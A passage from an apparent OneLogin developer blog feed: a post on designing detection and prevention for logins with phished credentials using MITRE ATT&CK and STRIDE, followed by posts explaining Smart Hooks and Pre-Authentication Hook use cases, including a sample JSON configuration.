One common cloud threat is access to an account after being phished. Lots of root causes here and solutions will be different based on your scope of accountability. When investigating a potentially phished end user, one will often see a connection from some far away location right after a successful phish. For some phishing campaigns the technique of confirming credentials is like clockwork. This is one of the threat characteristics we want to detect and prevent further misuse of by threat actors.
### Picture This
An end user opens an email message, clicks the link, enters their login information, and it doesn&#x27;t work - the page is either 404 not found or the normal login page displays. So the end user logs in the normal way successfully from their normal location.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;phishing.png&quot; alt=&quot;Victim path after clicking phishing link&quot;&gt;
&lt;p&gt;What was wrong with the picture? The attacker used the valid account, confirmed access, and no one is the wiser. The impersonator captured the login information and successfully used them from Mars. What else? Time between Mars and Earth is a little more than a few seconds. What else? Did the user see MFA or a note about logging in from Mars?
In this example, MITRE references Valid Account tactic and Cloud Accounts&#x2F;Credentials sub tactic used by threat actors for both Initial Access and Persistence. Arranging features to align to this structure gives consistency to the process.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;mitre.png&quot; alt=&quot;Aligning initial access and persistence features&quot;&gt;
The Epic for our example is “Infrastructure Abuse of Valid Accounts”:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Feature 1: Account Recon Detection &amp; Response (D&amp;R)
&lt;li&gt;Feature 2: Account suspicious indicator (location, device, time) Detection &amp; Response (D&amp;R)
&lt;&#x2F;li&gt;  
&lt;&#x2F;ul&gt;
##### Framing the Features from Both Sides
**User Story **- What we are taught to believe things are:
As an end user, I want secure authentication to my cloud resources.
**User Story Twist**-I want to avoid exposing my own secret credentials; however, when things go wrong, I want to know when a threat actor has social engineered and used my credentials so that I can take appropriate response actions.
**Abuse Story **- What they really are:
As an attacker, I want to obtain and confirm credentials are owned.
As a defender, I want to detect, deter, and notify when authentication anomalies are within scope and triage those suspicious events for known and knowable threat tactics, techniques, and indications of compromise.
&lt;p&gt;Acceptance criteria for addressing the stories is determined through discussions and then used to build out your test cases. Ideas for this attack pattern might include:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Operations &lt;&#x2F;strong&gt;- I know I am done when automation steps are executed with expected outcomes for each input. (aka the normal stuff you are building for and testing to affirm) 
&lt;li&gt;&lt;strong&gt;Prevention &lt;&#x2F;strong&gt;- I know I am done when the login is not allowed when the end user communications are outside of normal parameters-risk score conditions may include impossible time travel events, unenrolled device, multiple attempts within x time. Next step in login flow is honored and executed such as an extra MFA request or additional triage of IP reputation.
&lt;li&gt;&lt;strong&gt;Prevention &lt;&#x2F;strong&gt;- I know I am done when Threat Actor is not presented with useful information about either the individual account or the infrastructure through performing attempts to sign in with the newly phished credential. In the old days this was simply not returning error codes that told the bad guy about success&#x2F;failure which led to mapping the directory of the service. Now - there may be more to keep from the bad guys eyes like what controls are in use.
&lt;li&gt;&lt;strong&gt;Detection &lt;&#x2F;strong&gt;- I know I am done when alert notification is generated and completes the appropriate pipeline to delivery. The end point of the notification and playbook of actions will vary and typical alerts might be sent to a Security Operations Center, a Customer Administrator, or even an end user themself with guidance for self-remediation. 
&lt;li&gt;&lt;strong&gt;Operations &lt;&#x2F;strong&gt;- I know I am done when tickets are created by the pipeline with &lt;strong&gt;sufficient detail&lt;&#x2F;strong&gt; for Analysts to investigate and action. This will take use of SOAR to perform repeatable steps and gather enriched facts about the situation that are added to the tickets. 
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
During the development discussions, the threat is dissected for understanding of expected patterns and what an attacker can really do. Threat Operation professionals go into their conversations with knowledge of the threats and details around execution of attacks and they are held accountable for gaining this insight for the greater team. Technical dependencies are identified and the fine details are filled in.
Using a risk modeling methodology like STRIDE, the solution patterns and approaches pop out; the team determines needs for monitoring, logging, alerting of each threat and devise defenses and mitigation strategies. This example identifies a spoofing threat - mitigation authentication approach of MFA or digital signatures would be the starting point of development initiatives. Post 2020 attacks, there are more approaches to include.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;stride.png&quot; alt=&quot;Example for a spoofing threat&quot;&gt;
The team takes the stories and success criteria and schedules out the work within the backlog. Prioritization is influenced by relevant facts about the current threat landscape trends and trends of what is encountered in incidents as measurements. The beauty of basing your portfolio design on MITRE ATT&amp;CK tactics and techniques is that the detection and alerting security tooling is also leveraging this framework and all things simply tie together.
That&#x27;s how one can look at cloud threats from both sides.
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Smart Hooks: Top 5 Reasons to Use a Pre-Authentication Hook</title>
        <published>2021-03-23T00:00:00+00:00</published>
        <updated>2021-03-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/5-reasons-preauthentication-smart-hook/"/>
        <id>https://developers.onelogin.com/blog/5-reasons-preauthentication-smart-hook/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/5-reasons-preauthentication-smart-hook/">&lt;p&gt;With the exciting arrival of our new Smart Hooks feature, we’ve seen a number of unique and interesting use cases come out of the woodwork.
In this post, I want to dig in and mention the top five use cases I’ve seen with the Pre-Authentication Hook so far. These are not ranked but are simply the top 5 most popular examples deployed by our customers.&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;a href=&quot;#mfa&quot;&gt;Enforce a specific type of MFA&lt;&#x2F;a&gt; 
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;a href=&quot;#passwordupdate&quot;&gt;Force a user to update their password if they haven&#x27;t logged in for 30+ days&lt;&#x2F;a&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;a href=&quot;#deny&quot;&gt;Deny access to logins from specific locations or IP addresses&lt;&#x2F;a&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;a href=&quot;#override&quot;&gt;Override Smart MFA to enforce MFA periodically&lt;&#x2F;a&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;a href=&quot;#allow&quot;&gt;Allow MFA device registration for passwordless login&lt;&#x2F;a&gt; 
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
## What&#x27;s a Pre-Authentication Hook?
Before we dive into the top five, let&#x27;s look at what the Pre-Authentication Hook does and when it comes in handy.
Your first big clue is in the name. Yes you guessed it–the Pre-Authentication Hook is an extensibility point that allows you to customize the authentication flow at login.
In OneLogin, the authentication flow for a user is defined by the User Policy they are assigned to. As it stands, a user may only be assigned to a single user policy. With the Pre-Authentication Hook, however, you can temporarily assign a user policy just for that authentication flow if certain conditions are met, such as logging in from a mobile device. Once the user completes the authentication, they will continue to work under their typical assigned User Policy.
The hook itself is a serverless function that allows you to define custom code and OneLogin will execute that code for you. Smart Hooks are written in JavaScript and we provide a range of [examples](https:&#x2F;&#x2F;documenter.getpostman.com&#x2F;view&#x2F;2629710&#x2F;TVemA9DP).
In terms of activation, the Pre-Authentication Hook is executed after a user enters their username, but before they are prompted for a password or Multi-Factor Authentication (MFA). When the hook activates a JSON blob of contextual information about the user, their location, device, risk score, last login date, and available MFA devices are made available for you to use in your hook function.
With all of this in mind, let&#x27;s dive in and look at how some of our early customers use the Pre-Authentication Hook for customizing their login flow.
&lt;ol&gt;
&lt;li style=&quot;font-size:18px;font-weight:bold&quot;&gt;&lt;a name=&quot;mfa&quot;&gt;&lt;&#x2F;a&gt;Enforce a specific type of MFA factor
&lt;p style=&quot;font-size:none;font-weight:none&quot;&gt;
With OneLogin, it&#x27;s possible for a user to register many different types of MFA devices. For example, a user may configure SMS or Email MFA along with Duo, OneLogin Protect, and perhaps, WebAuthN for biometric authentication. 
&lt;&#x2F;p&gt;
You may decide that whenever a user authenticates from outside their home country or from a seldom-used device, then you want to force them to use a stronger factor like OneLogin Protect, rather than letting them use a weaker factor like SMS.
You can achieve these by leveraging the Pre-Authentication Hook integration between our Vigilance AI&lt;sup&gt;TM&lt;&#x2F;sup&gt; risk engine, which looks at things like location and device. Simply enable &quot;risk&quot; and &quot;location&quot; when defining your hook, which results in your hook context containing location information, for instance, about the user and their current risk based on device usage as well as other factors.
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;pre-authentication&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;disabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;runtime&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;nodejs18.x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;retries&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;options&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;risk_enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;location_enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;mfa_device_info_enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      }&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;env_vars&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      ]&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;packages&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      }&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;      &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;conditions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;source&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;roles&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;operator&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;~&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;            &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;value&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;123456&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      ]&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Next, define a user policy that requires MFA but only has the OneLogin Protect factor enabled as an option.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;pre-auth-mfa-settings.png&quot; alt=&quot;MFA settings in policy&quot;&gt;
By switching the user to this hook, they can no longer use the less secure factors to complete the login flow.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li style=&quot;font-size:18px;font-weight:bold&quot;&gt;&lt;a name=&quot;passwordupdate&quot;&gt;&lt;&#x2F;a&gt;Force a user to update their password if they haven&#x27;t logged in for 30+ days
Several customers are interested in the ability to force a user to change their password if their account has been inactive for a defined number of days.
To build out this example, you can simply look at the &quot;last_login_success&quot; attribute which contains the date the user last successfully authenticated.
You need to create a User Policy that has a password expiry&#x2F;rotation setting of 1 day. By forcing the user on to this policy in your hook, the user is immediately prompted to enter a new password after they successfully authenticate with their old one.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;pre-auth-password.jpg&quot; alt=&quot;Password change prompt&quot;&gt;
&lt;&#x2F;li&gt;
&lt;li style=&quot;font-size:18px;font-weight:bold&quot;&gt;&lt;a name=&quot;deny&quot;&gt;&lt;&#x2F;a&gt;Deny access to logins from specific locations or IP addresses
What happens if there are certain conditions where you always want to deny access?
This request is often associated with a user&#x27;s location or perhaps their IP address and normally goes something like: &quot;We&#x27;re seeing high volumes of failed login attempts from country X so we want to immediately deny access if a login originates from there&quot;.
While denying access based on location is not foolproof as a committed attacker could simply fake their location, this often cuts out a lot of the noise and helps to prevent user account locks due to multiple failed password attempts.
The setup for this type of hook is simple. Inspect the parts of the user context that you care about and if the criteria for denying access is met, it returns a null response from the hook.
The user is immediately denied access before they even have a chance to enter a password or verify MFA.
&lt;&#x2F;li&gt;
&lt;li style=&quot;font-size:18px;font-weight:bold&quot;&gt;&lt;a name=&quot;override&quot;&gt;&lt;&#x2F;a&gt;Override Smart MFA to enforce MFA periodically
OneLogin&#x27;s Smart MFA offering leverages Vigilance AI to detect the level of risk for every user login. If the risk is high, then the user is prompted for MFA, but if the risk is low, the prompt for MFA is suppressed.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;pre-auth-smart-mfa.png&quot; alt=&quot;Set risk level&quot;&gt;
A new challenge for many people working from home is that they are very consistent in their behavior. They use the same computer, at the same time, from the same location, etc. every day, which naturally results in Vigilance AI calculating a low risk score and no prompt for MFA.
In some cases, this reduction in MFA usage results in some users forgetting how to MFA or automatically disabling third-party authenticator devices due to inactivity. Thus, an ask from some of our early preview customers was, &quot;How do I override Smart MFA and force a prompt for MFA?&quot;
The solution is to design a Smart Hook that inspects the collection of MFA devices, provided in the hook context, to determine the last time an MFA was used. The logic can be set up so that if the last-used date was more than X days ago, then switch them to a user policy that enforces MFA.
To implement this, create a duplicate User Policy, but disable Smart MFA and instead make MFA mandatory for all logins. With the new User Policy ID in hand, you can use our &quot;Require MFA every X number of days&quot; example from the [Smart Hooks Postman collection](https:&#x2F;&#x2F;onelogin-screenshots.s3.amazonaws.com&#x2F;dev_site&#x2F;postman&#x2F;v2&#x2F;Smart-Hooks-OneLogin-API.json.postman_collection). Simply modify the example with your new User Policy ID and submit the request to enforce MFA usage every 30 days.
&lt;&#x2F;li&gt;
&lt;li style=&quot;font-size:18px;font-weight:bold&quot;&gt;&lt;a name=&quot;allow&quot;&gt;&lt;&#x2F;a&gt;Allow MFA device registration for passwordless login
With passwordless authentication gaining momentum, many customers are interested in how that fits in their environment. OneLogin offers a passwordless solution, which is implemented via MFA, allowing customers to skip password entry. Instead, end users complete login with the OneLogin Protect authenticator app or a biometric, such as Apple&#x27;s Face ID.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;pre-auth-passwordless.png&quot; alt=&quot;Passwordless authentication&quot;&gt;
&lt;p&gt;Since MFA is a hard requirement for this type of passwordless flow, how does it work when a new user does not have a MFA device registered yet?
We can use a Pre-Authentication Hook to solve this problem by simply defining two User Policies:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Policy with Passwordless Smart Flow enabled&lt;&#x2F;p&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;p&gt;Policy with Standard Smart Flow + MFA registration step enabled&lt;&#x2F;p&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
By default, all of your users are assigned to the Passwordless login flow. With the Smart Hook function, OneLogin will inspect the users&#x27; registered MFA devices. If the MFA device list is empty, this indicates that MFA has not been registered yet, so we switch the user to the Standard password login flow for the duration of the login. The user is then prompted for a password and taken through the steps required to register an MFA device.
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Get Hooked on Platform Extensibility with OneLogin Smart Hooks</title>
        <published>2021-03-23T00:00:00+00:00</published>
        <updated>2021-03-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/platform-extensibility-smart-hooks/"/>
        <id>https://developers.onelogin.com/blog/platform-extensibility-smart-hooks/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/platform-extensibility-smart-hooks/">&lt;p&gt;A critical requirement of a modern technology platform is the ability to extend, customize or integrate with other systems. As a pioneer and value leader in cloud-based identity and access management (IAM), we’re well aware that one size does not fit all. Today, OneLogin is excited to announce the general availability of Smart Hooks, a new capability which is only limited by the imagination, and further compounds OneLogin’s status as an Identity and Access Management industry leader.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-is-a-smart-hook&quot;&gt;What is a Smart Hook?&lt;&#x2F;h2&gt;
&lt;p&gt;To better understand the significance of a Smart Hook, it’s important to understand the difference with its well-known but less capable cousin, the webhook.
For many years, webhooks have been the go-to method for sharing information from a software platform and creating event-driven integrations. It’s worth noting that OneLogin does have a webhook system that is commonly used to broadcast events into Security Information and Event Management (SIEM) tools and works with anything that accepts JSON.
Webhooks are great for this one-way flow of information, but they present challenges when attempting to use them for more interactive workflows or customizations such as:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Poor performance&lt;&#x2F;li&gt;
&lt;li&gt;Server hosting &amp; infrastructure&lt;&#x2F;li&gt;
&lt;li&gt;Scaling&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;For example, let’s say you wanted to use a webhook to customize an authentication workflow. Perhaps there was a simple condition that you wanted to check for and send the user down one path or another based on this condition. If you attempted to use a regular webhook for this, you would need to set up and host a server to catch the webhook event, perform the conditional logic and then return the result. You would need to monitor the uptime of this server, make sure it scales and also deal with the performance hit of calling out across the internet to your standalone webhook catching service.
Solving these problems is where Smart Hooks really shines. Smart Hooks is like a webhook platform on steroids; it enables the customization and integration benefits of a regular webhook but takes away the burden of having to host servers, monitor uptime, and think about scale and performance.
Smart Hooks is a serverless offering from OneLogin that allows you to interact with common workflows, build customizations and also integrate with just about any external system. Being serverless, it means that you provide the code and OneLogin will take care of the hosting and infrastructure challenges. It automatically scales with your user and platform growth, resulting in an easy-to-manage, extensible platform that can be molded to fit even the most complex of requirements.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;smart-hooks.png&quot; alt=&quot;OneLogin Smart Hooks&quot;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;types-of-smart-hooks&quot;&gt;Types of Smart Hooks&lt;&#x2F;h2&gt;
&lt;p&gt;Under the Smart Hooks umbrella we have considered a number of useful extension points on the OneLogin platform, including the ability to customize authentication flows as well as interact with user lifecycle events.
Today we are excited to release the first of many Smart Hooks:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;&#x2F;blog&#x2F;user-migration-smart-hook&quot;&gt;User Migration Hook&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;&#x2F;blog&#x2F;5-reasons-preauthentication-smart-hook&quot;&gt;Pre-Authentication Hook&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The User Migration Hook is targeted at our Customer Identity and Access Management (CIAM) prospects and customers and offers a way to seamlessly migrate users from an external database or Identity Provider (IDP) into the OneLogin Cloud Directory. This approach allows for a progressive migration of users to a more secure directory without requiring them to change passwords or otherwise interrupt the user experience.
On the other hand, the Pre-Authentication Hook provides extreme flexibility at authentication time. Contextual information about the user’s device, browser, location, registered MFA devices and risk profile is passed into the Smart Hook, allowing for complex conditional access or zero-trust flows.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;imagine-then-build&quot;&gt;Imagine, then build&lt;&#x2F;h2&gt;
&lt;p&gt;For every problem, there’s a solution. Every industry, customer, or prospect has a nuanced set of requirements which is what led us to create the Smart Hooks platform. After an extensive beta period with our fantastic early adopting customers, we’re really excited to see how Smart Hooks will solve your unique authentication challenges and enable amazing integration experiences.
